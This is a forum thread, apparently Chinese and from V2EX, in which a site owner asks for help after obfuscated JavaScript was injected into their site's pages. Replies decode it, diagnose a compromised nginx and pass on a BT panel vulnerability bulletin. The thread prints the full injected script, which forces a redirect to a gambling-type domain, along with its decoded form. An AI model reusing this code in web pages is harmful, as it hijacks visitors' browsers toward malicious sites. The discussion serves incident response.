离了个大谱,被 D 后,打开网页会有弹窗。
清理缓存,经过 F12 ,发现首个加载的 JS 开头会被插入一段代码,
屏蔽所有 JS 后没有问题。
扫描了一下未发现病毒。
SSL 下也无解,这该从何处入手呢。
var _0x3402 = ['dGFyZ2V0', 'YXBwZW5kQ2hpbGQ=', 'aHR0cHM6Ly8za2R2NTh4ay5pYnRvYzN0Ny5jb20=', 'Y2xpY2s=', 'RE9NQ29udGVudExvYWRlZA==', 'b2tr', 'X2JsYW5r', 'Y29va2ll', 'Ym9keQ==', 'MTIz', 'a2tmZnM=', 'd2FmX3NjPTU4ODk2NDc3MjY7ZXhwaXJlcz0=', 'd2FmX3NjPTU4ODk2NDc3MjY=', 'cmFuZG9t', 'Z2V0VGltZQ=='];
(function(_0x4f678f, _0x3402d3) {
var _0x22dcf8 = function(_0x48d0ed) {
while (--_0x48d0ed) {
_0x4f678f['push'](_0x4f678f['shift']());
}
};
_0x22dcf8(++_0x3402d3);
}(_0x3402, 0x1b1));
var _0x22dc = function(_0x4f678f, _0x3402d3) {
_0x4f678f = _0x4f678f - 0x0;
var _0x22dcf8 = _0x3402[_0x4f678f];
if (_0x22dc['YbLqLE'] === undefined) {
(function() {
var _0x55fb65;
try {
var _0x99ff51 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
_0x55fb65 = _0x99ff51();
} catch (_0x186283) {
_0x55fb65 = window;
}
var _0x245ad6 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
_0x55fb65['atob'] || (_0x55fb65['atob'] = function(_0x45ea70) {
var _0x373e1f = String(_0x45ea70)['replace'](/=+$/, '');
var _0x474828 = '';
for (var _0x25b404 = 0x0, _0x4e134e, _0x51471c, _0x109a80 = 0x0; _0x51471c = _0x373e1f['charAt'](_0x109a80++); ~_0x51471c && (_0x4e134e = _0x25b404 % 0x4 ? _0x4e134e * 0x40 + _0x51471c : _0x51471c,
_0x25b404++ % 0x4) ? _0x474828 += String['fromCharCode'](0xff & _0x4e134e >> (-0x2 * _0x25b404 & 0x6)) : 0x0) {
_0x51471c = _0x245ad6['indexOf'](_0x51471c);
}
return _0x474828;
}
);
}());
_0x22dc['pzRRBR'] = function(_0x2f9082) {
var _0x4ab614 = atob(_0x2f9082);
var _0x28b9ef = [];
for (var _0x40b68a = 0x0, _0xc5670f = _0x4ab614['length']; _0x40b68a < _0xc5670f; _0x40b68a++) {
_0x28b9ef += '%' + ('00' + _0x4ab614['charCodeAt'](_0x40b68a)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(_0x28b9ef);
}
;
_0x22dc['GHNzVI'] = {};
_0x22dc['YbLqLE'] = !![];
}
var _0x48d0ed = _0x22dc['GHNzVI'][_0x4f678f];
if (_0x48d0ed === undefined) {
_0x22dcf8 = _0x22dc['pzRRBR'](_0x22dcf8);
_0x22dc['GHNzVI'][_0x4f678f] = _0x22dcf8;
} else {
_0x22dcf8 = _0x48d0ed;
}
return _0x22dcf8;
};
function addiframe() {
var _0x22998d = document['createElement']('a');
_0x22998d['href'] = _0x22dc('0x4');
_0x22998d[_0x22dc('0x2')] = _0x22dc('0x8');
document[_0x22dc('0xa')][_0x22dc('0x3')](_0x22998d);
_0x22998d[_0x22dc('0x5')]();
setTimeout(()=>document[_0x22dc('0xa')]['removeChild'](_0x22998d), 0x1f40);
}
function setcookie() {
var _0x3a43d1 = new Date();
_0x3a43d1['setTime'](_0x3a43d1[_0x22dc('0x1')]() + 0x18 * 0x3 * 0x3c * 0x3c * 0x3e8);
var _0x504815 = document[_0x22dc('0x9')]['indexOf'](_0x22dc('0xe'));
if (_0x504815 < 0x0 && document[_0x22dc('0x7')] == null) {
document[_0x22dc('0x7')] = _0x22dc('0xb');
document['addEventListener'](_0x22dc('0x6'), function(_0x301b98) {
if (document[_0x22dc('0xc')] == null) {
document[_0x22dc('0xc')] = _0x22dc('0xb');
var _0x5d8a65 = Math['floor'](Math[_0x22dc('0x0')]() * 0x64) + 0x1;
if (_0x5d8a65 <= 0x64) {
document[_0x22dc('0x9')] = _0x22dc('0xd') + _0x3a43d1['toGMTString']();
addiframe();
}
}
});
}
}
setcookie();
1
kingjpa 2022-12-01 17:38:26 +08:00
必然是网站 被篡改了啊,看修改日期和本地进行 hash 比对。
|
2
eason1874 2022-12-01 17:40:22 +08:00
这是被挂马了,JS 只是篡改对象,不是恶意程序本身
是不是用了什么开源建站程序,没做防护,没有及时升级 |
3
triangle111 2022-12-01 18:46:19 +08:00
应该是菠菜网址吧
function addiframe() { var _0x22998d = document["createElement"]("a"); _0x22998d["href"] = "3kdv58xk.ibtoc3t7.com"; _0x22998d["target"] = "_blank"; document["body"]["appendChild"](_0x22998d); _0x22998d["click"](); setTimeout(() => document["body"]["removeChild"](_0x22998d), 8000); } function setcookie() { var _0x3a43d1 = new Date(); _0x3a43d1["setTime"](_0x3a43d1["getTime"]() + 259200000); var _0x504815 = document["cookie"]["indexOf"]("waf_sc=5889647726"); if (_0x504815 < 0 && document["okk"] == null) { document["okk"] = "123"; document["addEventListener"]("DOMContentLoaded", function (_0x301b98) { if (document["kkffs"] == null) { document["kkffs"] = "123"; var _0x5d8a65 = Math["floor"](Math["random"]() * 100) + 1; if (_0x5d8a65 <= 100) { document["cookie"] = "waf_sc=5889647726;expires=" + _0x3a43d1["toGMTString"](); addiframe(); } } }); } } setcookie(); |
4
opengps 2022-12-01 19:29:23 +08:00
如果你是 http ,那就太正常了,半路上随便一个地方想做手脚都可以给你加上这段代码,办法就是 https
|
5
opengps 2022-12-01 19:30:21 +08:00
但是 https 下有问题,我曾经遇到一个客户,他服务器上中了这类病毒程序,从源头上进行了添加额外内容
|
6
kingmo888 OP |
7
eason1874 2022-12-01 21:19:27 +08:00
@kingmo888 #6 所以我说 JS 只是篡改对象,不是木马本身
你可以把木马理解成服务器(或者网站程序)的插件,它会根据请求自动修改 HTTP 响应内容( JS 或者 HTML ),某些请求修改,某些请求不修改 所以你检查 JS 源码没用,你要找到木马的位置 |
8
owltacklejaguar 2022-12-01 21:51:28 +08:00
```
find / -newerct '2022-11-30 00:00' ! -newerct '2022-12-01 21:45' -name '*.php' ``` 检查一下被 D 时间段前后,被修改的 PHP 类型文件。 如果是其他扩展文件自行修改。 |
9
kingmo888 OP @owltacklejaguar 感谢。检查过后,发现从服务器安装以来的 3 个月,除了 runtime ,和 phpadmin ,没有可疑修改,愁人
|
10
kingmo888 OP @owltacklejaguar 另外找到的很多文件,看了时间,并不在这时间范围内,请问是怎么回事呢。
|
11
kingmo888 OP @owltacklejaguar 对了用的宝塔面板,上面有几个不同程序的站点,所有站点都是相同的情况。
|
12
jink2018us 2022-12-02 02:02:38 +08:00
vps 删了重建
|
13
owltacklejaguar 2022-12-02 08:34:25 +08:00
|
14
systemcall 2022-12-02 09:18:48 +08:00
删了重建吧
修改时间是可以改的 你除非在别的机器上面跑个日志服务,那可能可以捕获到一些信息 |
15
kingmo888 OP @systemcall 实在是几百 G 转移起来太难了。
|
16
kingmo888 OP @owltacklejaguar 本地搭建后,访问未出现问题,应该网站源码层面没有恶意文件。
目前用这俩指令更新了系统所有库: ``` yum check-update yum upgrade -y ``` 安装 nessus 并没有扫到什么恶意(现在深度怀疑是有木马程序),漏洞倒是通过前述指令修复了 9 成危险漏洞。 深度怀疑是木马,原文中的 var _0x3402 = 里的加密变量竟然又变了。也就是说,那个辣鸡跳转网址一旦失效(墙)就会自动更新。 |
17
kingmo888 OP 同时安装了 ClamAV ,进行了全部的扫描,也未发现病毒。
|
18
kingmo888 OP 我去,因为是所有出站都有被注入,怀疑 nginx ,死马当活马医,测试呗,nginx 从 1.20 升级到 1.22 ,问题消失。
诶。。这也不知道怎么复查了。 |
19
owltacklejaguar 2022-12-05 19:53:55 +08:00
@kingmo888 如果升级 ng 之后问题消失,可能是 ng 版本的漏洞,去看看 ng 的日志吧
|
20
kingmo888 OP @owltacklejaguar 请问日志是看 nginx_error.log 以及 access.log 吗 谢谢
|
21
owltacklejaguar 2022-12-09 08:35:10 +08:00
@kingmo888 速报:宝塔面板疑似出现全新高危漏洞,目前已出现大面积入侵
建议:暂时性关闭面板,等待补丁更新 影响版本:7.9.6 及以下且使用 nginx 用户 风险等级:极高 处置建议: 停止使用 BT 面板且更换阿帕奇 [宝塔官方建议暂停面板] 排查方式: /www / server/ nginx/ sbin 目录下文件 1. nginx 11.80 MB 2. nginxBak 4.55 MB[木马] 3. nginx 4.51M [木马] 特征: 1.大小 4.51 2.时间近期 3.nginx & nginxBAK 双文件 入侵者通过该漏洞拥有 root 权限,受限于面板高权限运行,修改宝塔各种账号密码+SSH 账号密码均为无效。 入侵者可以修改 nginx 配置文件+数据库文件+网站根目录文件 站点可能出现大量日志同时 CPU 异常占用,暂不清楚漏洞点,切勿随意点击清除日志按钮 注: 大量新装用户反馈出现挂马,目前 BT 官方源可能出现问题,建议暂停安装 今天发的,可以去看下有没有异常文件 |